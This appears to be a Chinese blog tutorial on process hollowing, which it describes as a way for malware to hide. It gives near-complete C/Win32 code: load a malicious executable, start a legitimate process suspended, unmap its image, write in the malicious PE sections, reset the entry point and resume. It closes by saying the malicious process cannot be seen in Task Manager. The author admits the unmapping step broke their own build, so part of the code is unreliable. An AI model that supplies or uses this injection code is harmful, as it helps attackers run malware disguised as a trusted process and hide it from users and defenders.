傀儡进程
傀儡进程,一种病毒和恶意软件很喜欢用的隐藏自身的手段。如果你觉得这个名字攻击性太强了,也可以叫它“PE文件映像切换技术”。简单来说就是先创建一个挂起的合法进程,然后掏空它的进程内存,接着在里面放上我们的恶意代码,最后再将该进程恢复。这样,我们就拿到了一个有着合法的名字、启动路径等信息但执行危险行为的进程。
代码实现
准备恶意代码
将恶意程序存储在lpBuffer中。
1 2 3 4 5 6
| HANDLE hFile = CreateFileW(L"path\\to\\virus.exe", GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL); DWORD dwFileSize = GetFileSize(hFile, NULL); LPVOID lpBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); DWORD dwReadLength = 0; ReadFile(hFile, lpBuffer, dwFileSize, &dwReadLength, NULL); CloseHandle(hFile);
|
创建挂起进程
1 2 3 4 5
| STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); ZeroMemory(&pi, sizeof(pi)); CreateProcessW(L"path\\to\\target.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
|
卸载内存空间
获取目标进程基址。
程序以挂起状态被创建时ebx指向PEB结构体,而PEB+8的地方存放ImageBase,获取其值存入lpImageBase。
1 2 3 4 5 6
| CONTEXT ctx = {}; ctx.ContextFlags = CONTEXT_ALL; GetThreadContext(pi.hThread, &ctx);
PVOID lpImageBase = 0; ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 8), &lpImageBase, sizeof(PVOID), NULL);
|
卸载目标进程映像。
有文章说只有目标进程基址和恶意代码基址相同的时候才需要卸载。事实确实如此,但是为什么?
实际上对于我的代码,不卸载才能正常运行,而卸载后反而不能正常运行了。。。
1 2 3
| typedef NTSTATUS(WINAPI* FnNtUnmapViewOfSection)(HANDLE, PVOID); FnNtUnmapViewOfSection NtUnmapViewOfSection = (FnNtUnmapViewOfSection)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtUnmapViewOfSection"); NtUnmapViewOfSection(pi.hProcess, lpImageBase);
|
修改目标进程加载基址为恶意代码的加载基址。
1 2 3
| PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)lpBuffer; PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + (DWORD)lpBuffer); WriteProcessMemory(pi.hProcess, (LPVOID)(ctx.Ebx + 8), &pNt->OptionalHeader.ImageBase, sizeof(LPVOID), NULL);
|
写入恶意代码
在目标进程中申请内存空间,并写入DOS头、NT头和节表。
1 2
| LPVOID lpTargetMemory = VirtualAllocEx(pi.hProcess, (LPVOID)pNt->OptionalHeader.ImageBase, pNt->OptionalHeader.SizeOfHeaders, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, lpTargetMemory, lpBuffer, pNt->OptionalHeader.SizeOfHeaders, NULL);
|
由于各个节在映像中的地址需要对齐,因此不能一股脑全都复制进去,要一个节一个节地复制。
1 2 3 4 5 6
| PIMAGE_SECTION_HEADER pSection = {}; for (i = 0; i < pNt->FileHeader.NumberOfSections; i++) { pSection = (PIMAGE_SECTION_HEADER)((LPBYTE)lpBuffer + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (sizeof(IMAGE_SECTION_HEADER) * i)); WriteProcessMemory(pi.hProcess, ((LPBYTE)lpTargetMemory + pSection->VirtualAddress), ((LPBYTE)lpBuffer + pSection->PointerToRawData), pSection->SizeOfRawData, NULL); }
|
唤醒傀儡进程
修改程序入口点。
以挂起状态创建进程时程序的入口点会存储在eax中。
1 2
| ctx.Eax = (DWORD)((LPBYTE)lpTargetMemory + pNt->OptionalHeader.AddressOfEntryPoint); SetThreadContext(pi.hThread, &ctx);
|
唤醒。
1
| ResumeThread(pi.hThread);
|
效果展示
任务管理器找不到恶意进程,但恶意进程正在运行。
参考
病毒木马常用手段之偷天换日
PE映像切换技术(Process Hollowing)不需要填充IAT表和进行重定位的原因
PE文件结构[诶嘿]